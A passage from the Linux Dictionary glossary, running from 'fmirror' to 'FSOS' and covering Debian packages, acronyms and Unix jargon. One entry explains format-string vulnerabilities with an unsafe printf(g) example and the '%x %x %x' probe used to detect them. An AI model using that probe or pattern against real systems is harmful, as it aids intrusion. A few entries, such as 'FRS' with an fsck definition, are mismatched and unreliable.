memory efficient ftp mirror program A program for mirroring a directory from a remote ftp server. It allows regex-matching for files that are to be included and excluded. It uses a combination of timestamp, file size and file permissions to decide what files to transfer from the ftp server. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

fml

Mailing List Server Package FML is a package of mailing list server and utility programs. It consists of perl scripts. It has been developed, tested and advanced in Japan from 1993 to 1999. FML contains distributor (filter program which passes articles to MTA to deliver) command server for users command interface for general user command interface for remote administration listserv/majordomo style interface (emulation) digest server CUI installer and configuration program other utility programs FML design policy is based on the degree of freedom, so that I respect "each environment for each man/women". From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FMM

Flash Memory Manager (Intel) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

fokb-plainx

An Xkb state indicator -- plain X version. WindowMaker docked Xkb state indicator. Fokb can switch xkb groups and display a pixmap corresponding to the selected group. It also can execute a specified command upon the switch (for example, play sound). This is the plain X-compiled version.

From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

fokb-wmaker

An Xkb state indicator -- WindowMaker version. WindowMaker docked Xkb state indicator. Fokb can switch xkb groups and display a pixmap corresponding to the selected group. It also can execute a specified command upon the switch (for example, play sound). This is the WindowMaker-compiled version.

From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

foomatic

Foomatic is a comprehensive, spooler-independent database of printers, printer drivers, and driver descriptions. It contains utilities to generate driver description files and printer queues for CUPS, LPD, LPRng, and PDQ using the database. There is also the possibility to read the PDL options out of PDL-capable laser printers and take them into account at the driver description file generation. There are spooler-independent command line interfaces to manipulate queues (foomatic-configure) and to print files/manipulate jobs (foomatic-printjob). The site <http://www.linuxprinting.org/> is based on this

database. From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FOOT

Forum for Object Oriented Technology (CERN, OOP) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

foreground

A conceptual location in a computer system where interaction takes place between a user and a process initiated by the user; the opposite of background. From Linux Guide @FirstLinux
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

foreground

vt. [Unix; common] To bring a task to the top of one's stack for immediate processing, and hackers often use it in this sense for non-computer tasks. "If your presentation is due next week, I guess I'd better foreground writing up the design document." Technically, on a time-sharing system, a task executing in foreground is one able to accept input from and return output to the user; oppose background. Nowadays this term is primarily associated with Unix, but it appears first to have been used in this sense on OS/360. Normally, there is only one foreground task per terminal (or terminal window); having multiple processes simultaneously reading the keyboard is a good way to lose. From Jargon Dictionary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Foreground Process

In a multitasking operating system, such as UNIX/Linux, the foreground process is the program that the user is interacting with at the present time (for example, data entry). Different programs can be in the foreground at different times, as the user jumps between them. In a tiered windowing environment, it is the topmost window. From I-gloss
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

forg

Graphical Gopher Browser forg is a new graphical browser for gopher written in python. It will let you browse the world-wide gopherspace and handles various types of media, including HTML and video. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

fork

A Linux system call used by a process (the "parent") to make a copy (the "child") of itself. The child process is identical to the parent except it has a different process identifier and a zero return value from the fork call. It is assumed to have used no resources. From Linux Guide @FirstLinux
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

fork

In the open-source community, a fork is what occurs when two (or more) versions of a software package's source code are being developed in parallel which once shared a common code base, and these multiple versions of the source code have irreconcilable differences between them. This should not be confused with a development branch, which may later be folded back into the original source code base. Nor should it be confused with what happens when a new distribution of Linux or some other distribution is created, because that largely assembles pieces than can and will be used in other distributions without conflict. Forking is uncommon; in fact, it is so uncommon that individual instances loom large in hacker folklore. Notable in this class were the <http://www.xemacs.org/About/XEmacsVsGNUemacs.html>, the GCC/EGCS fork (later healed by a merger) and the forks among the FreeBSD, NetBSD, and OpenBSD operating systems. From Jargon Dictionary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

forked

adj.,vi. 1. [common after 1997, esp. in the Linux community] An open-source software project is said to have forked or be forked when the project group fissions into two or more parts pursuing separate lines of development (or, less commonly, when a third party unconnected to the project group). Forking is considered a Bad Thing – not merely because it implies a lot of wasted effort in the future, but because forks tend to be accompanied by a great deal of strife and acrimony between the successor groups over issues of legitimacy, succession, and design direction. There is serious social

pressure against forking. As a result, major forks (such as the Gnu-Emacs/XEmacs split, the fissionings of the 386BSD group into three daughter project, and the short-lived GCC/EGCS split) are rare enough that they are remembered individually in hacker folklore. 2. [Unix; uncommon; prob. influenced by a mainstream expletive] Terminally slow, or dead. Originated when one system was slowed to a snail's pace by an inadvertent fork bomb. From Jargon Dictionary

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

formail

mail (re)formatter From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

format

To prepare a disk to operate with a particular operating system by adding a file system such as ext2 to the disk. From Redhat-9-Glossary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

format-string attacks (printf())

A common vulnerability created by programmers who use tainted input as the format string for printf() (a common C function). Normally, printf() uses a "format string" to specify how following data will be formatted when printed. For example, when printing the time, you could use the following command: printf("%02d:%02d:%02d", hours, minutes, seconds); This will print the time in a format that looks like "09:15:00" (i.e. quarter after nine). The format string "%02d" means print a decimal number that is 2 digits long, and if the number isn't long enough, put a 0 at the front. Character strings can be printed in a similar manner: printf("greetings=%s", "hello"); This prints the output: greetings=Hello However, if you wanted to be lazy, you could simply program the system: printf("greetings=Hello"); Up to this point, everything is fine. The problem comes about when the string is read from input: g = read_input(); printf(g); The programmer is expecting the user to enter normal input such as "Hi". However, the user could enter something like "die %s". This makes the above statement equivalent to: printf("die %s"); Since there is no following string, this may cause the program to crash. The correct way that this should have been handled is: g = read_input(); printf("%s", g); Printf will treat the first parameter as the format string, but will know not to interpret any formatting characters in subsequent strings. Key point: A popular technique to see if a system is possibly vulnerable to format string bugs is to send the input "%x %x %x". If the hacker sees hex output, then they know the system was vulnerable to format string bugs. From Hacking-Lexicon <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FORMEX

FORMalised EXchange of electronic publications (SGML, Europe) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FORML

Formal Object Role Modelling Language From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

fort

Framework for OCaml Regression Testing FORT provides an environment for testing programs and Objective Caml modules. It contains a module that oversees the testing process as well as a front-end for executing tests. Individual test cases are written as Objective Caml functions that return the result of executing the test. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

fort77

Invoke f2c like a real compiler. The fort77 script invokes the f2c command transparently, so it can be used like a real Fortran compiler. It can be used to compile Fortran, C and assembler code, and to link it with the f2c libraries. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FORTAN

FORmula TRANslation From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Fortran

FORMula TRANslator – The first and still the most widely used programming language for numerical and scientific applications. The original versions lacked recursive procedures and block structure and had a line-oriented syntax in which certain columns had special significance. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FORTRAN 77

A popular version of FORTRAN with Block IF, PARAMETER and SAVE statements added, but still no WHILE. It has fixed-length character strings, format-free I/O, and arrays with lower bounds. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Fortran 90

An extensive enlargement of FORTRAN 77. Fortran 90 has derived types, assumed shape arrays, array sections, functions returning arrays, case statement, module subprograms and internal subprograms, optional and keyword subprogram arguments, recursion, and dynamic allocation. From Linux Guide @FirstLinux <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

fortunes

Data files containing fortune cookies There are far over 15000 different 'fortune cookies' in this package. You'll need the fortune-mod package to display the cookies. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FORTWIHR

FORSchungsverbund fuer Technisch-WISSenschaftliches HochleistungsRechnen (org., Bavaria) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

forutil

a collection of FORTRAN 77 utilities ForUtil-0.62 is a small utilities to analyze the FORTRAN code. A very brief description of each program found in ForUtil is given below. – fflow, a FORTRAN flowgraph generator. – ffscan, a subroutine argument checker; – ftags, a FORTRAN tag file generator for use with vi. Common utilities. These are three tools that allow you to create, examine and search a database with each and every common that is defined in a collection of FORTRAN include files. They are the following: – scan_commons, needed for creating a database; – list_commons, to list the contents of the database or the contents of one or all files stored in the database; – get_common, to quickly search through the database to see in which include file a common is defined. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

forward lookup

is an ordinary lookup of the IP address from the host name. From Rute-Users-Guide <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Floating Point Processor From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FPP

FORTTRAN Pre-Processor (FORTRAN) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FPR

Fast Packet Relay (FPS, FPA) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FPR

Floating Point Register (FPU) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FPS

Fast Packet Switching (X.25, Datex-J) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FPS

Frames Per Second From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FPU

Floating Point Unit (CPU) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FPU (Floating Point Unit)

A portion of a microprocessor that handles operations in which the decimal point moves left and right to handle operations to allow for very high precision when dealing with very large or very small numbers. An FPU usually makes a microprocessor much faster. Early Pentium chips had flaws in their FPUs. From QUECID <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FQDN

Fully Qualified DOMAIN Name (Internet) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FQDN

See fully qualified domain name (FQDN). From Redhat-9-Glossary
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FRAD

Frame Relay Access Device From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FRAM

Ferroelectric Random Access Memory (RAM, IC) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Framebuffer

A framebuffer device is an abstraction for the graphic hardware. It represents the frame buffer of some video hardware, and allows application software to access the graphic hardware through a well-defined interface, so that the software doesn't need to know anything about the low-level interface stuff [Taken from Geert Uytterhoeven's framebuffer.txt in the linux kernel sources] From Framebuffer-HOWTO <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

francine

an extremely configurable console login program francine is an easy to configure themeable console login program. Its great configurability for per tty access-settings and that the prompt for username and password can be located anywhere in a nice colored ANSI-screen should be makes it a greatly enhanced replacement for the old clumpy login. You need a getty that is able to run different programs than just login. I suggest rungetty for that, but (alternative) getty does suffice. It can also be used from the telnetd with the -L option. This project is a spin-off from the fancylogin project, which is still maintained by Richard Bergmair. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FrazierWall Linux

Originally developed as a customized firewall, early versions were based on the Linux Router Project and Coyote Linux 1.03. It has evolved into a unique router/firewall distribution. FrazierWall 3.4 was released on August 29, 2001. A 'secured' distribution. From LWN Distribution List
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FRD

Functional Requirements Description From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

free

Allocate and free dynamic memory From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

free

Display amount of free and used memory in the system From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

free software

n. As defined by Richard M. Stallman and used by the Free Software movement, this means software that gives users enough freedom to be used by the free software community. Specifically, users must be free to modify the software for their private use, and free to redistribute it either with or without modifications, either commercially or noncommercially, either gratis or charging a distribution fee. Free software has existed since the dawn of computing; Free Software as a movement began in 1984 with the GNU Project. See also open source. From Jargon Dictionary
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Free Software Foundation (FSF)

An organization that sponsors free software projects such as GNU and various free tools and applications. The FSF promotes all free software developments and free documentation efforts. From

Redhat-9-Glossary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

free-EOS

Free-EOS is a French distribution with the aim of being incredibly easy to set up and get a set of services running. Version 1.1 was released June 14, 2003. From LWN Distribution List <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Free-Net

Any one of more than two dozen freely accessible Internet sites, primarily offering community and educational information. From Glossary of Distance Education and Internet Terminology <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

freemp

Extensible, cross-platform audio player FreeAmp is an extensible, cross-platform audio player. It features an optimized version of the GPLed Xing MPEG decoder which makes it one of the fastest and best sounding players available. FreeAmp provides a number of the most common features users have come to expect in a clean, easy to use interface. Some of these features are:

- o Plays all MPEG 1, MPEG 2, and MPEG 2.5 encoded files.
- o Support for Vorbis
- o Support for Xing's Variable Bitrate Encoding Technology.
- o Play songs over the Internet through HTTP unicast streaming (ShoutCast), or RTP multicast streaming (Obsequiem).
- o Supports IceCast style title streaming.
- o Save ShoutCast and IceCast streams locally to your computer for offline listening...
- o A powerful music browser and playlist editor.
- o A built in download manager which supports downloading files from sites using the RMP (RealJukebox) download process.
- o User defined prebuffering for slower machines.
- o Enlightened Sound Daemon support

From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

freebirth

Bass synthesizer/sample player/sequencer similar to Rebirth Freebirth is a free software bass synthesizer / step sequencer / sample player for the linux operating system. It is currently at version 0.3.2. The bass synthesizer vaguely 303ish but in the author's opinion, it has much more sonic capability such as:

- Three oscillators (saw, sin, sqr)
- Phase offsets for each oscillator.
- Separate filter and amplitude envelopes.
- Separate tuning for each oscillator
- Two effects busses (reverb and delay)

From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FreeBSD (Free Berkeley Software Distribution)

Similar to Linux in that it includes many GNU programs and runs many of the same packages as Linux. However, some kernel functions are implemented differently. (Also, see BSD UNIX.) From I-gloss <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

freecdb

a package for creating and reading constant databases freecdb is a small, fast and reliable utility set and subroutine library for creating and reading constant databases. The database structure is tuned for fast reading:

- Successful lookups take normally just two disk accesses.
- Unsuccessful lookups take only one disk access.
- Small disk space and memory size requirements; a database uses 2048 bytes for the header and 24 bytes per record.
- Maximum database size is 4GB; individual record size is not otherwise limited.
- Portable file format.
- Fast creation of new databases.
- No locking, updates are atomic.

This package contains both the utilities and the development files. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

freecell-solver-bin

Library for solving Freecell games Freecell Solver is a library for automatically solving boards of Freecell and similar variants of card Solitaire. This package contains the header files and static libraries necessary for developing programs using Freecell Solver. This package contains the binaries included with freecell-solver From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

freeciv

Freeciv is a turn-based, multi-player strategy game for the X Window System. Freeciv is generally comparable to, and has compatible rules with, the Civilization II(TM) game by Microprose(R). In

Freeciv, each player is the leader of a civilization, and is competing with the other players in order to become the leader of the greatest civilization. From Redhat 8.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

freecraft

Realtime fantasy strategy game for Unix and X. FreeCraft is a clone of the realtime fantasy strategy game, WarCraft II, from Blizzard Entertainment. It is nearly feature complete compared to the original game, and includes a handful of Neat New Features, such as queuing peon/fighter production, finding out idle workers, and a completely new AI. Also has network connectivity for up to 16 players. Note that this is a beta for the next stable release of FreeCraft, and as such is both fairly playable and fairly bug-free. This version is compiled with nearly all the possible options, and thus has gzip, bunzip, SDL and SVGLib support (the last one only for i386 arches). The sound options will depend on your personal election on SDL packages. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Freeduc

The Organization for Free Software in Education and Teaching (OFSET) has produced Freeduc, a Knoppix/Debian-based Linux system with educational software, all on one bootable CDROM. Version 1.1 of the Freeduc CD-ROM was released November 5, 2002. Version 1.3 was released May 20, 2003. From LWN Distribution List <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

freefem

A pde oriented language using Finite Element Method. FreeFEM is a language adapted to Partial Differential equation. The underlying method used is the Finite Element Method. This tool has been successfully used as a teaching tool and even as a research tool. It can be seen a RSD (Rapid Research Development (tm) :)) to test new ideas. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

freenet

A peer-to-peer network for anonymous publishing Freenet is a decentralised network of nodes designed to allow for efficient distribution of information over the Internet. Freenet's goals are resilience to censorship, and anonymity for producers and consumers of information through plausible deniability. There are different, incompatible versions of the Freenet protocol. This dummy package will ensure that you always have the most useful node software version installed. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

freenet6

Client to configure an IPv6 tunnel to freenet6 Providing tspc, a Tunnel Server Protocol Client, this Package allows an easy way to connect the machine to the 6bone. Configured tunneling is a transition method standardized by IETF to use IPv6 in coexistence with IPv4 by encapsulating IPv6 packets over IPv4. Any host already connected to Internet with IPv4 which has an IPv6 stack can establish a link to the Internet IPv6. FREENET6's TSP is a new model based on a client/server approach. A protocol is used to request a single IPv6 address to a full IPv6 prefix from a client to a tunnel server according to the IPv6 broker model. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Freepia

Freepia is small GNU/Linux distribution designed to run on Via Epia-M Mainboards. At present it only runs on the M-9000. The motivation behind this project is to build a full featured, low noise media box to play movies/mp3s/images etc. It currently uses Freevo, but in the future there maybe support for other media players like mythtv or vdr. Version 0.3.6 was released on June 11, 2003. A 'special purpose/mini' distribution. From LWN Distribution List

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

freepwing

Free JIS X 4081 Formatter Freepwing is a system to make JIS X 4081 data. JIS (Japanese Industrial Standard) X 4081 is a subset of EPWING V1 which stands for Electoric Publishing WING. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

freesci

a portable interpreter for SCI games like Space Quest 3 FreeSCI is a portable interpreter for SCI games, such as the Space Quest series (starting with SQ3) or Leisure Suit Larry (2 and sequels). FreeSCI is in beta right now; the current release still has several known bugs. It is feature-complete within the following limits: – Only SCI0 games are supported – The SCI debug functions aren't fully supported (and probably never will be, since FreeSCI uses its own debug functions). It offers the following improvements over Sierra SCI: – Improved background picture support – Trilinear filtering for text and images – readline-like editing in controls – General MIDI sound output (still experimental) From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FREESCO

FREESCO (stands for FREE ciSCO) is a free replacement for commercial routers supporting up to 3 ethernet/arcnet/token_ring/arlan network cards and up to 2 modems. Mirror sites are available in Canada, Europe, Russia, and South Africa. A floppy-based distribution. From LWN Distribution List <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

freeswan

IPSEC utilities for FreeSWan IPSEC is Internet Protocol SEcurity. It uses strong cryptography to provide both authentication and encryption services. Authentication ensures that packets are from the right sender and have not been altered in transit. Encryption prevents unauthorised reading of packet contents. These services allow you to build secure tunnels through untrusted networks. Everything passing through the untrusted net is encrypted by the IPSEC gateway machine and decrypted by the gateway at the other end. The result is Virtual Private Network or VPN. This is a network which is effectively private even though it includes machines at several different sites connected by the insecure Internet. Please note that you will need kernel support for using this package. The standard Debian kernel does not include support for FreeSWan. You can build your own kernel by installing the kernel-source package and kernel-patch-freeswan, which can be automatically applied when using make-kpkg. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

freesweep

a text-based minesweeper Freesweep is an implementation of the popular minesweeper game, where one tries to find all the mines without igniting any, based on hints given by the computer. Unlike most implementations of this game, Freesweep works in any visual text display – in Linux console, in an xterm, and in most text-based terminals currently in use. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

freetable

Facilitates production of HTML tables Freetable is a perl script that aims to make the production of HTML tables a little easier. This script works as a filter, reading stdin and writing to stdout. The input syntax is as roughly follows: <wwtable table-options...> initial text (e.g. <caption> ... </caption>). (X, Y) options for cell (X, Y) text for cell (X,Y)... ((X,Y)) options for header cell X,Y text for header cell (X,Y)... </wwtable> Rows and cells may be specified in any order, numbering starts at 1. X and/or Y may be replaced by regular expression, explicit range or even arbitrary Perl code to indicate rows or columns. Options or text (or both) may be omitted for cells. Cells may be omitted completely if they are empty or fall under the rowspan/colspan specifications of another cell. Cells may contain arbitrary HTML text, including other freetable tables. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

freetds-jdbc

Pure Java JDBC driver for MS SQL and Sybase This is a sneak peek of a free type 4 JDBC driver for SQLServer and Sybase. Currently it has only been tested mostly on SQLServer 6.5. The driver is not complete yet, but Methods that aren't implemented will throw a SQLException with the message "Not implemented". From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

freetds0

libraries for connecting to MS SQL and Sybase SQL servers FreeTDS is an implementation of the Tabular DataStream protocol, used for connecting to MS SQL and Sybase servers over TCP/IP. This package includes the shared libraries for the DB-Lib and CT-Lib APIs. You will need this if you plan to connect to MS SQL or Sybase servers, or use the PHP sybase or Perl DBD::Sybase extensions. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

freetype

The FreeType engine is a free and portable TrueType font rendering engine. It has been developed to provide TT support to a great variety of platforms and environments. Note that FreeType is a library, not a stand-alone application, though some utility applications are included. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

freetype-tools

Tools to manipulate TTF fonts. From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

freetype1-tools

Bundled tests, demos and tools for FreeType 1 The FreeType 1 engine is a free and portable TrueType font rendering engine. It has been developed to provide TT support to a great variety of platforms and environments. This package contains several programs bundled with the FreeType 1 engine for testing and demonstration purposes, as well as some contributed utilities such as ttf2pk, ttf2bdf, ttf2pfb and ttfbanner. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

freetype2

The FreeType2 engine is a free and portable TrueType font rendering engine. It has been developed to provide TT support to a great variety of platforms and environments. Note that FreeType2 is a library, not a stand-alone application, though some utility applications are included From Mandrake 9.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

freevix

freevix is a tiny GNU/Linux distribution designed to provide a complete but small foot print environment for people wanting to build a media player system with Freevo. Initial version 0.2 was released March 12, 2003. Version 0.7 was released June 10, 2003. A 'special purpose/mini' distribution. From LWN Distribution List <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Freeware

Copyrighted programs that have been made available without charge for public use. The programs cannot be resold for profit. From QUECID <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

freeware

n. [common] Free software, often written by enthusiasts and distributed by users' groups, or via electronic mail, local bulletin boards, Usenet, or other electronic media. At one time, 'freeware' was a trademark of Andrew Fluegelman, the author of the well-known MS-DOS comm program PC-TALK III. It wasn't enforced after his mysterious disappearance and presumed death in 1984. See shareware, FRS. From Jargon Dictionary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

freewrl

vrml browser and netscape plugin freewrl includes a standalone vrml browser, which also browses url's from the command line. Currently, you must edit the xswallow configuration file by hand in order to get the plugin function. Web Page: <http://www.crc.ca/FreeWRL/> From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Freeze

To stop software development at a point at which the developer judges that the software is sufficiently stable for release. From QUECID Can also be used to describe when a computer system seems to 'hang' and doesn't seem to be accepting any input. From Binh

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

freeze

v. To lock an evolving software distribution or document against changes so it can be released with some hope of stability. Carries the strong implication that the item in question will 'unfreeze' at some future date. "OK, fix that bug and we'll freeze for release." There are more specific constructions on this term. A 'feature freeze', for example, locks out modifications intended to introduce new features but still allows bugfixes and completion of existing features; a 'code freeze' connotes no more changes at all. At Sun Microsystems and elsewhere, one may also hear references to 'code slush' — that is, an almost-but-not-quite frozen state. From Jargon Dictionary

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Frequency

The number of complete oscillations per second of an electromagnetic wave. From Glossary of Distance Education and Internet Terminology

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FRF

Floatingpoint Register File (DEC, Alpha, CPU) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FRICC

Federal Research Internet Coordinating Committee (org.) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Fried Chicken

Fried Chicken Linux (FCL) is a Linux software repository designed for use by students and staff at the IT University of Copenhagen. FCL contains Fried Chicken Linux packages and integrates these with Red Hat Linux. The Repository furthermore comprises mirrors of the Red Hat distributions and updates to these. Finally, automatically updated Red Hat distributions are provided. From LWN Distribution List <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FRL

Frame Representation Language (AI) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FRMR

FRaMe Reject (HDLC, LAPB, SDLC) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FROM

Factory Read Only Memory (ROM) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

from

print names of those who have sent mail From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

fromdos

Converts text files between DOS and Unix formats. From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

frotz

Interpreter of Z-code story-files Frotz interprets Z-code story-files, which are usually text adventure games (although a few arcade-style Z-code games have been written). Examples of such story files include the adventure games published by Infocom, as well as any games produced by compilers to this format, such as Inform. You can find a number of Inform-compiled games up for anonymous FTP at ftp.gmd.de. Frotz complies with the Z Machine specification version 1.0. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

frox

Caching ftp proxy Frox is a caching ftp proxy. It also optionally supports non-transparent proxying, active-->passive conversion of the data connection, and caching of anonymously downloaded files

either locally or by rewriting the requests in HTTP and sending them through a HTTP proxy. Transparent support is supported by frox but not compiled into this package. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

frozen-bubble

Pop out the bubbles ! Frozen-Bubble is a free clone of the popular "Puzzle Bobble" game, written in perl and using SDL. It features 50 levels of 1 player game, a 2 player mode, and beautiful music. The game mainly consists of firing randomly chosen bubbles across the board. If a bubble hits a clump of at least 2 bubbles of the same color, they all pop. The goal is to pop all the bubbles on the board as quickly as possible. You WANT this game. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FRR

False Rejection Rate From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FRR

Functional Recovery Routine From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FRS

check a Linux second extended file system From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

fsck.ext3

check a Linux second extended file system From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

fsck.minix

a file system consistency checker for Linux From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FSD

File System Driver From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FSF

/F-S-F/ abbrev. Common abbreviation (both spoken and written) for the name of the Free Software Foundation, a nonprofit educational association formed to support the GNU project. From Jargon Dictionary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FSF

Free Software Foundation (org., GNU) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FSF

Free Software Foundation. The FSF owns most of the official GNU SW and licences its use with the 3000 word GPL and 4000 word LGPL licences. From Linux Guide @FirstLinux
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FSF (Free Software Foundation)

A nonprofit organisation, based in Massachusetts, that is devoted to the ideal of the free sharing of useful software for noncommercial purposes. To promote this goal, FSF supports a UNIX compatible operating system (called GNU) and system utilities, which are freely redistributable under FSF' GPL (General Public License). From QUECID
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

fsh

Fast remote command execution over rsh/ssh/lsh The problem: logging in to a remote system with a cryptographic solution such as lsh or ssh takes time, due to the computationally expensive key exchanges that occur when the connection is established. It is common to trigger a lot of remote logins while using remote CVS, which makes it painfully slow compared to having the repository locally. The solution: reuse the secure tunnel once it has been established. fsh is a drop-in rsh-compatible replacement for ssh that automatically reuses ssh tunnels. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FSH

File System Hierarchy (Linux, LSB) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FSM

Finite State Machine (TTCN, ...) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FSM

Freiwillige Selbstkontrolle Multimedia Org., Germany From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FSMGDOS

??? Graphics Device Operating System (OS, Atari) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FSO

Linux Dictionary

[scripting runtime library] File System Objects (MS, WSH) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FSOP

Full Scale OutPut (FSIP) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

FSOS

Free Standing Operating System (OS) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

